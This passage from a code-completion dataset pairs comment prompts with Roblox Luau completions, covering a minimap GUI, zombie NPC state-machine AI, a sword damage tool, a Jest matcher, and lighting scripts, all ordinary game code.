accordingly.\n\tlocal relativeFocus = Vector2.new(_mapView.focus_x / _mapSize,\n\t\t\t\t\t\t\t\t\t _mapView.focus_y / _mapSize)\n\n\t_map.Position = UDim2.new(0, _mapFrame.AbsoluteSize.X * 0.5 - _map.Size.X.Offset * relativeFocus.X,\n\t\t\t\t\t\t\t 0, _mapFrame.AbsoluteSize.Y * 0.5 - _map.Size.Y.Offset * relativeFocus.Y)\nend\n\nlocal function _Update(dt)\n\t_updateMapFocus()\n\n\tfor tag, icon in pairs(_mapTags) do\n\t\tlocal count = 0\n\n\t\tfor i, model in ipairs(CollectionService:GetTagged(tag)) do\n\t\t\tif model.PrimaryPart then\n\t\t\t\t-- TODO: May need an actual unique identifier\n\t\t\t\tlocal indicator = _mapIndicators[tag][i]\n\n\t\t\t\tif not indicator then\n\t\t\t\t\tindicator = icon:Clone()\n\n\t\t\t\t\t-- Set color of deliveryVehicle indicator to team color if there are teams\n\t\t\t\t\tif string.sub(model.Name, 1, 15) == \"DeliveryVehicle\" then\n\t\t\t\t\t\tif tonumber(string.sub(model.Name, 16)) == nil then\n\t\t\t\t\t\t\tindicator.ImageTransparency = 1\n\t\t\t\t\t\telseif Conf.num_teams > 0 then\n\t\t\t\t\t\t\tindicator.ImageColor3 = Conf.team_colors[tonumber(string.sub(model.Name, 16))]\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\t-- Set color of all players on team to team color if there are teams\n\t\t\t\t\tif Conf.num_teams > 0 and model:FindFirstChildOfClass(\"Humanoid\") ~= nil then\n\t\t\t\t\t\tindicator.ImageColor3 = Conf.team_colors[PlayerMatchInfo.GetField(Players:GetPlayerFromCharacter(model), \"teamNumber\")]\n\t\t\t\t\tend\n\n\t\t\t\t\tindicator.Parent = _mapFrame\n\t\t\t\t\t_mapIndicators[tag][i] = indicator\n\t\t\t\tend\n\n\t\t\t\tindicator.Visible = true\n\n\t\t\t\tlocal root = model.PrimaryPart\n\t\t\t\tlocal pos = root.Position\n\t\t\t\tlocal partCFrame = root.CFrame\n\n\t\t\t\tlocal mapSize = _map.Size\n\t\t\t\tlocal mapPos = _map.Position\n\n\t\t\t\t-- NOTE: We determine whether the forward vector for this part should be its look or up vectors by checking LookVector against up\n\t\t\t\t-- .That vector is then flattened along the x/y plane and normalized\n\t\t\t\t-- .The angle is calculated, converted into degrees, and used to rotate the indicator\n\n\t\t\t\tlocal forward = Vector3.new(partCFrame.LookVector.X, 0, partCFrame.LookVector.Z).Unit\n\t\t\t\tlocal lookDot = partCFrame.LookVector:Dot(_unitUp)\n\n\t\t\t\tif math.abs(lookDot) > 0.5 then\n\t\t\t\t\tforward = Vector3.new(partCFrame.UpVector.X, 0, partCFrame.UpVector.Z).Unit\n\t\t\t\tend\n\n\t\t\t\tlocal rotation = math.acos(forward:Dot(_unitForward)) * 57.2958\n\n\t\t\t\tif forward:Dot(_unitRight) < 0 then\n\t\t\t\t\trotation = 360 - rotation\n\t\t\t\tend\n\n\t\t\t\tindicator.Position = UDim2.new(0, pos.X / _mapSize * mapSize.X.Offset + mapPos.X.Offset,\n\t\t\t\t\t\t\t\t\t\t\t 0, pos.Z / _mapSize * mapSize.Y.Offset + mapPos.Y.Offset)\n\n\t\t\t\t-- HACK: This extra inversion and 180 degree rotation could probably be factored out, but it was taking more time than appropriate to fix.\n\t\t\t\tindicator.Rotation = 360 - (rotation + 180) % 360\n\n\t\t\t\t--\n\t\t\t\tcount = count + 1\n\t\t\tend\n\t\tend\n\n\t\t-- Destroy any unused indicators based on count\n\t\tlocal existingIndicatorCount = #_mapIndicators[tag]\n\n\t\tif count < existingIndicatorCount then\n\t\t\tfor i = count, existingIndicatorCount do\n\t\t\t\tlocal indicator = _mapIndicators[tag][i]\n\n\t\t\t\tif indicator then\n\t\t\t\t\tindicator:Destroy()\n\t\t\t\tend\n\n\t\t\t\t_mapIndicators[tag][i] = nil\n\t\t\tend\n\t\tend\n\tend\n\n\t--\n\tif _stormData then\n\t\t_UpdateStormIndicators(_stormData.pos, _stormData.radius, _stormData.targetPos, _stormData.targetRadius)\n\tend\nend\n\nlocal function toggleMap()\n\tif _isCurrentlyMinimap then -- change to worldmap\n\t\t_mapFrame.Size = UDim2.new(_worldmapWidth, 0, _worldmapHeight, 0)\n\t\t_mapFrame.AnchorPoint = Vector2.new(0.5, 0.5)\n\t\t_mapFrame.Position = UDim2.new(0.5, 0, 0.5, 0)\n\t\t_mapView.scale = _worldmapZoom\n\t\t_isCurrentlyMinimap = false\n\telse -- change to minimap\n\t\t_mapFrame.Size = UDim2.new(_minimapWidth, 0, _minimapHeight, 0)\n\t\t_mapFrame.AnchorPoint = Vector2.new(1, 0)\n\t\t_mapFrame.Position = UDim2.new(1, 0, 0, 0)\n\t\t_mapView.scale = _minimapZoom\n\t\t_isCurrentlyMinimap = true\n\tend\n\n\treturn _isCurrentlyMinimap\nend\n\nlocal function onInputBegan(input, gameProcessed)\n\tif not gameProcessed and input.KeyCode == Enum.KeyCode.M or input.KeyCode == Enum.KeyCode.DPadUp then\n\t\ttoggleMap()\n\tend\nend\n\nfunction MinimapGui.start(teamDividingAngle)\n\twhile not _setupFinished do\n\t\twait()\n\tend\n\n\tMinimapGui.addMapTag(\"DeliveryVehicle\", \"Bus\")\n\tMinimapGui.addMapTag(Util._clientFocusTag, \"LocalPlayerLocation\")\n\tMinimapGui.addMapTag(\"Player\")\n\tMinimapGui.addMapTag(\"Vehicle\", \"VehicleLocation\")\n\n\tToggleMapEvent.OnInvoke = toggleMap\n\n\tUserInputService.InputBegan:Connect(onInputBegan)\n\n\tRunService:BindToRenderStep(\"Minimap\", Enum.RenderPriority.Last.Value, _Update)\n\n\t_isCurrentlyMinimap = false\n\ttoggleMap() -- ensures minimap size + position + anchor will be the same regardless of values set in studio\n\n\t_mapFrame.Visible = true\n\tif Conf.num_teams == 2 and teamDividingAngle ~= nil then\n\t\tlocal xCoord = math.cos(math.rad(teamDividingAngle)) * dividingLineLength / 2\n\t\tlocal yCoord = math.sin(math.rad(teamDividingAngle)) * dividingLineLength / 2\n\t\tfor i, dot in ipairs(_teamDividingDots) do\n\t\t\tdot.Position = UDim2.new(0.5 + xCoord - 2 * xCoord * ((i - 1) / (numTeamDividingDots - 1)), 0, 0.5 + yCoord - 2 * yCoord * ((i - 1) / (numTeamDividingDots - 1)), 0)\n\t\t\tdot.Visible = true\n\t\tend\n\tend\n\n\tEnableToggleMapButtonEvent:Fire(true, _isCurrentlyMinimap)\nend\n\nfunction MinimapGui.addMapTag(tag, icon)\n\tlocal tagIndicatorTemplate\n\n\tif not icon then\n\t\ttagIndicatorTemplate = _playerIndicator\n\n\telseif type(icon) == \"string\" then\n\t\ttagIndicatorTemplate = _mapFrame:FindFirstChild(icon) or _playerIndicator\n\n\telse\n\t\ttagIndicatorTemplate = icon\n\tend\n\n\t_mapTags[tag] = tagIndicatorTemplate\n\n\tif not _mapIndicators[tag] then\n\t\t_mapIndicators[tag] = {}\n\telse\n\t\t-- TODO: Handle possibly switching to a different icon\n\tend\nend\n\nfunction MinimapGui.removeMapTag(tag)\n\tlocal indicators = _mapIndicators[tag]\n\n\tif indicators then\n\t\tfor _, icon in ipairs(indicators) do\n\t\tend\n\tend\nend\n\nlocal function onCharacterAdded(character)\n\tif not PlayerMatchInfo.GetField(Players.LocalPlayer, \"didJump\") then\n\t\tlocal PlayerGui = Players.LocalPlayer:WaitForChild(\"PlayerGui\")\n\n\t\tlocal container = ReplicatedStorage.Assets.GuiObjects.minimap:Clone()\n\t\tcontainer.ResetOnSpawn = false\n\n\t\t_mapFrame = container:WaitForChild(\"mapframe\")\n\t\t_mapFrame.Size = UDim2.new(_minimapWidth, 0, _minimapHeight, 0)\n\n\t\t_map = _mapFrame:WaitForChild(\"map\")\n\t\t_playerIndicator = _mapFrame:WaitForChild(\"PlayerLocation\")\n\t\t_stormIndicator = _mapFrame:WaitForChild(\"StormIndicator\")\n\t\t_stormTargetIndicator = _mapFrame:WaitForChild(\"StormTargetIndicator\")\n\t\t_stormFiller = _stormIndicator:WaitForChild(\"StormFiller\")\n\t\ttable.insert(_outerStormFillers, _stormFiller:WaitForChild(\"OuterStormFiller\"))\n\n\t\ttable.insert(_teamDividingDots, _map:WaitForChild(\"TeamDividingDot\"))\n\t\tfor i = 1, (numTeamDividingDots - 1) do\n\t\t\tlocal newDot = _teamDividingDots[1]:Clone()\n\t\t\tnewDot.Parent = _map\n\t\t\ttable.insert(_teamDividingDots, newDot)\n\t\tend\n\n\t\t-- Hide minimap since match hasn't started yet\n\t\t_playerIndicator.Visible = false\n\t\t_stormIndicator.Visible = false\n\t\t_stormTargetIndicator.Visible = false\n\t\t_stormFiller.Visible = false\n\t\tfor _, outerStormFiller in ipairs(_outerStormFillers) do\n\t\t\touterStormFiller.Visible = false\n\t\tend\n\t\tfor _, dot in ipairs(_teamDividingDots) do\n\t\t\tdot.Visible = false\n\t\tend\n\t\t_mapFrame.Visible = false\n\n\t\tcontainer.Enabled = true\n\t\tcontainer.Parent = PlayerGui\n\t\t_setupFinished = true\n\telseif not _isCurrentlyMinimap then\n\t\t-- Make sure map is mini when player respawns\n\t\ttoggleMap()\n\tend\nend\n\nfunction MinimapGui.isCurrentlyMinimap()\n\treturn _isCurrentlyMinimap\nend\n\nfunction MinimapGui.isEnabled()\n\treturn _mapFrame and _mapFrame.Visible\nend\n\nif Players.LocalPlayer.Character then\n\tonCharacterAdded(Players.LocalPlayer.Character)\nend\nPlayers.LocalPlayer.CharacterAdded:Connect(onCharacterAdded)\n"} +{"prompt": "--\t\t\t-- Go through each valid target to see if within field of view and if there is\n--\t\t\t-- clear line of sight. Field of view treated as wedge in front of character.\n--\t\t\tfor _, character in pairs(characters) do\n--\t\t\t\tlocal toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position)\n--\t\t\t\ttoTarget = Vector3.new(toTarget.X, 0, toTarget.Z)\n--\t\t\t\tlocal angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude)\n--\t\t\t\tif math.deg(angle) < configs[\"FieldOfView\"]/2 then\t\n--\t\t\t\t\tZombieTarget = character\n--\t\t\t\t\t-- raycast to see if target is actually visible\n--\t\t\t\t\tlocal toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))\n--\t\t\t\t\tlocal part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies)\n--\t\t\t\t\tif part and part.Parent == ZombieTarget then\n--\t\t\t\t\t\treturn true\n--\t\t\t\t\tend\t\t\n--\t\t\t\t\tZombieTarget = nil\t\t\t\t\t\t\n--\t\t\t\tend\n--\t\t\tend", "completion": "\n\t\tend\n\t\treturn false\n\tend\n\tCanSeeTarget.TransitionState = PursueState\n\t\n\t-- TargetDead: Check if target is dead.\n\tlocal TargetDead = StateMachine.NewCondition()\n\tTargetDead.Name = \"TargetDead\"\n\tTargetDead.Evaluate = function()\n\t\tif ZombieTarget and ZombieTarget.Humanoid then\n\t\t\treturn ZombieTarget.Humanoid.Health <= 0\n\t\tend\n\t\treturn true\n\tend\n\tTargetDead.TransitionState = IdleState\n\t\n\t-- GotDamaged: Check if NPC has taken damage\n\tlocal lastHealth = model.Humanoid.Health\n\tlocal GotDamaged = StateMachine.NewCondition()\n\tGotDamaged.Name = \"GotDamaged\"\n\tGotDamaged.Evaluate = function()\n\t\tif model then\n\t\t\tif lastHealth > model.Humanoid.Health then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend\t\n\tGotDamaged.TransitionState = SearchState\n\t\n\t-- GotBored: Used to provide random state change.\n\tlocal GotBored = StateMachine.NewCondition()\n\tGotBored.Name = \"GotBored\"\n\tGotBored.Evaluate = function()\n\t\tlocal now = os.time()\n\t\tif now - lastBored > configs[\"BoredomDuration\"] then\n\t\t\tlocal roll = math.random()\n\t\t\tif roll < configs[\"ChanceOfBoredom\"] then\n\t\t\t\tlastBored = now\n\t\t\t\tif GotBored.TransitionState == SearchState then\n\t\t\t\t\tGotBored.TransitionState = IdleState\n\t\t\t\telse\n\t\t\t\t\tGotBored.TransitionState = SearchState\n\t\t\t\tend\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend\n\tGotBored.TransitionState = IdleState\n\t\n\t-- LostTarget: Checks clear line of sight\n\tlocal LostTarget = StateMachine.NewCondition()\n\tLostTarget.Name = \"LostTarget\"\n\tLostTarget.Evaluate = function()\n\t\tif true then return false end\n\t\tif ZombieTarget then\n\t\t\tif (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then\n\t\t\t\tlocal toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))\n\t\t\t\tlocal part, position = game.Workspace:FindPartOnRay(toTarget, model)\n\t\t\t\tif not part or part.Parent ~= ZombieTarget then\n\t\t\t\t\t--print(\"Lost target!\")\n\t\t\t\t\tZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position\n\t\t\t\t\tZombieTarget = nil\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend\n\tLostTarget.TransitionState = HuntState\n\t\n\tlocal WithinRange = StateMachine.NewCondition()\n\tWithinRange.Name = \"WithinRange\"\n\tWithinRange.Evaluate = function()\n\t\tif ZombieTarget then\n\t\t\tlocal distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude\n\t\t\tif distance < configs[\"AttackRange\"] then\n\t\t\t\t--print(\"Within attack range!\")\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend\n\tWithinRange.TransitionState = AttackState\n\t\n\tlocal OutsideRange = StateMachine.NewCondition()\n\tOutsideRange.Name = \"OutsideRange\"\n\tOutsideRange.Evaluate = function()\n\t\tif ZombieTarget then\n\t\t\tlocal distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude\n\t\t\tif distance > configs[\"AttackRange\"] then\n\t\t\t\t--print(\"Outside attack range!\")\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend\n\tOutsideRange.TransitionState = PursueState\n\t\n\ttable.insert(IdleState.Conditions, CanSeeTarget)\n\ttable.insert(IdleState.Conditions, GotDamaged)\n\ttable.insert(IdleState.Conditions, GotBored)\n\t\n\ttable.insert(SearchState.Conditions, GotBored)\n\ttable.insert(SearchState.Conditions, CanSeeTarget)\n\t\n\ttable.insert(PursueState.Conditions, LostTarget)\n\ttable.insert(PursueState.Conditions, WithinRange)\n\ttable.insert(PursueState.Conditions, TargetDead)\n\t\n\ttable.insert(AttackState.Conditions, OutsideRange)\n\ttable.insert(AttackState.Conditions, TargetDead)\n\t\n\ttable.insert(HuntState.Conditions, GotBored)\n\ttable.insert(HuntState.Conditions, CanSeeTarget)\n\t\n\t-- Setup arms damage\n\tlocal canHit = true\n\tlocal lastHit = os.time()\n\tlocal function handleHit(other)\n\t\tif canHit then\n\t\t\tif other and other.Parent and other.Parent.Name ~= \"Drooling Zombie\" and other.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\t\tlocal enemy = other.Parent\t\t\t\t\t\t\n\t\t\t\tif enemy.Humanoid.WalkSpeed > 0 then\n\t\t\t\t\tenemy.Humanoid.Health = enemy.Humanoid.Health - configs[\"Damage\"]\n\t\t\t\t\tcanHit = false\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tlocal now = os.time()\n\t\t\tif now - lastHit > configs[\"DamageCooldown\"] then\n\t\t\t\tlastHit = now\n\t\t\t\tcanHit = true\n\t\t\tend\n\t\tend\n\tend\t\n\tlocal leftHitConnect, rightHitConnect\n\tleftHitConnect = model:FindFirstChild(\"Left Arm\").Touched:connect(handleHit)\n\trightHitConnect = model:FindFirstChild(\"Right Arm\").Touched:connect(handleHit)\n\t\n\t--ZombieAI.Animate(model)\n\t--updateDisplay()\n\t--updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState)\n\tlocal thread = coroutine.create(function()\n\t\twhile true do\n\t\t\twait()\n\t\t\t-- calculate repulsion force\n\t\t\t\t\t\t\n\t\t\tlocal humanoids = HumanoidList:GetCurrent()\n\t\t\tlocal localZombies = {}\n\t\t\tfor _, humanoid in pairs(humanoids) do\n\t\t\t\tif humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild(\"HumanoidRootPart\") then\n\t\t\t\t\tlocal torso = humanoid.Parent:FindFirstChild(\"HumanoidRootPart\")\n\t\t\t\t\tlocal distance = (model.HumanoidRootPart.Position - torso.Position).magnitude\n\t\t\t\t\tif distance <= 2.5 then\n\t\t\t\t\t\ttable.insert(localZombies, torso.Position)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tlocal repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies)\n\t\t\tif repulsionDirection.magnitude > 0 then\n\t\t\t\t--print(\"replusion direction: \" .. tostring(repulsionDirection))\n\t\t\tend\n\t\t\tmodel.HumanoidRootPart.RepulsionForce.force = repulsionDirection\n\t\t\t\n\t\t\tif StateMachine.CurrentState and model.Configurations.Debug.Value then\n\t\t\t\tmodel.BillboardGui.TextLabel.Visible = true\n\t\t\t\tmodel.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name\n\t\t\tend\n\t\t\tif not model.Configurations.Debug.Value then\n\t\t\t\tmodel.BillboardGui.TextLabel.Visible = false\n\t\t\tend\n\t\tend\n\tend)\n\tcoroutine.resume(thread)\t\n\t\n\tStateMachine.SwitchState(IdleState)\n\t\n\tzombie.Stop = function()\n\t\tStateMachine.SwitchState(nil)\n\tend\t\n\t\n\treturn zombie\nend\n\nreturn ZombieAI\n"} +{"prompt": "-- Copied from Grimgold Periastron Beta", "completion": "\n\nlocal Tool = script.Parent\nlocal Sword = Tool.Handle\n\nlocal vCharacter\nlocal myTorso\nlocal myHumanoid \n\nlocal equipped = false\n\nlocal debris = game:GetService(\"Debris\")\n\nfunction tagHumanoid(humanoid, player)\n\tif humanoid then \n\t\tlocal creatorTag = Instance.new(\"ObjectValue\")\n\t\tcreatorTag.Value = player\n\t\tcreatorTag.Name = \"creator\"\n\t\tcreatorTag.Parent = humanoid\n\t\tdebris:AddItem(creatorTag, 1)\n\tend\nend\n\nfunction cut(hit)\n\tlocal humanoid\n\tlocal vPlayer\n\tif hit and hit.Parent and myHumanoid then \n\t\tif hit.Parent.className == \"Hat\" then\n\t\t\thumanoid = hit.Parent.Parent:FindFirstChild(\"Humanoid\")\n\t\telse\n\t\t\thumanoid = hit.Parent:FindFirstChild(\"Humanoid\")\n\t\tend\n\t\tvPlayer = game.Players:GetPlayerFromCharacter(vCharacter)\n\t\tif humanoid ~= nil and humanoid ~= myHumanoid then \n\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\thumanoid:TakeDamage(7.)\n\t\tend\n\tend\nend\n\nfunction onEquipped()\n\tvCharacter = Tool.Parent\n\tmyTorso = vCharacter:FindFirstChild(\"Torso\")\n\tmyHumanoid = vCharacter:FindFirstChild(\"Humanoid\")\t\nend\n\nTool.Equipped:connect(onEquipped)\n\nSword.Touched:connect(cut)\n"} +{"prompt": "-- ROBLOX deviation: expected does not have Error type annotation", "completion": "\nfunction toThrowExpectedObject(\n\tmatcherName: string,\n\toptions: JestMatcherUtils.MatcherHintOptions,\n\tthrown: Thrown | nil,\n\texpected: Error\n): SyncExpectationResult\n\tlocal pass = thrown ~= nil and thrown.message == expected.message\n\n\tlocal message\n\tif pass then\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, nil, options)\n\t\t\t\t.. \"\\n\\n\"\n\t\t\t\t.. formatExpected(\"Expected message: never \", expected.message)\n\n\t\t\tif thrown ~= nil and thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\tretval = retval .. formatStack(thrown)\n\t\t\telse\n\t\t\t\tretval = retval .. formatReceived(\"Received value: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\telse\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, nil, options) .. \"\\n\\n\"\n\n\t\t\tif thrown == nil then\n\t\t\t\tretval = retval .. formatExpected(\"Expected message: \", expected.message) .. \"\\n\" .. DID_NOT_THROW\n\t\t\telse\n\t\t\t\tif thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\t\tretval = retval\n\t\t\t\t\t\t.. printDiffOrStringify(\n\t\t\t\t\t\t\texpected.message,\n\t\t\t\t\t\t\tthrown.message,\n\t\t\t\t\t\t\t\"Expected message\",\n\t\t\t\t\t\t\t\"Received message\",\n\t\t\t\t\t\t\ttrue\n\t\t\t\t\t\t)\n\t\t\t\t\t\t.. \"\\n\"\n\t\t\t\t\t\t.. formatStack(thrown)\n\t\t\t\telse\n\t\t\t\t\tretval = retval\n\t\t\t\t\t\t.. formatExpected(\"Expected message: \", expected.message)\n\t\t\t\t\t\t.. formatReceived(\"Received value: \", thrown, \"message\")\n\t\t\t\t\t\t.. formatStack(thrown)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\tend\n\n\treturn { message = message, pass = pass }\nend\n"} +{"prompt": "--Leonlai Fog Script. :D", "completion": "\n\ngame.Lighting.FogStart = 10 \ngame.Lighting.FogEnd = 120 \ngame.Lighting.FogColor = Color3.new(0,0,0)\ngame.Lighting.TimeOfDay = \"00:00\"\n"} +{"prompt": "--[=[\n\t@return ... any\n\t@yields\n\n\tYields the current thread until the signal is fired, and returns the arguments fired from the signal.\n\tYielding the current thread is not always desirable. If the desire is to only capture the next event\n\tfired, using `Once` might be a better solution.\n\t```lua\n\ttask.spawn(function()\n\t\tlocal msg, num = signal:Wait()\n\t\tprint(msg, num) --> \"Hello\", 32\n\tend)\n\tsignal:Fire(\"Hello\", 32)\n\t```\n]=]", "completion": "\nfunction Signal:Wait()\n\tlocal waitingCoroutine = coroutine.running()\n\tlocal connection\n\tlocal done = false\n\tconnection = self:Connect(function(...)\n\t\tif done then\n\t\t\treturn\n\t\tend\n\t\tdone = true\n\t\tconnection:Disconnect()\n\t\ttask.spawn(waitingCoroutine, ...)\n\tend)\n\treturn coroutine.yield()\nend\n"} +{"prompt": "--[[Weight Scaling]]", "completion": "\n\t--[Cubic stud : pounds ratio]\n\t--[STANDARDIZED: Don't touch unless needed]\n\tTune.WeightScaling = 1/50\t--Default = 1/50 (1 cubic stud = 50 lbs)\n\tTune.LegacyScaling = 1/10\t--Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF]\n\t\nreturn Tune\n\n"} +{"prompt": "--TimeSensor--", "completion": "\nTurnOn = 19\nTurnOff = 7\nOn = false\nwhile wait(10) do\n if game.Lighting.ClockTime >= TurnOn then\n if not On then\n On = true\n script.Parent.Flicker.On.Value = true\n end\n elseif game.Lighting.ClockTime >= TurnOff then\n if On then\n On = false\n script.Parent.Flicker.On.Value = false\n end\n end\nend\n "}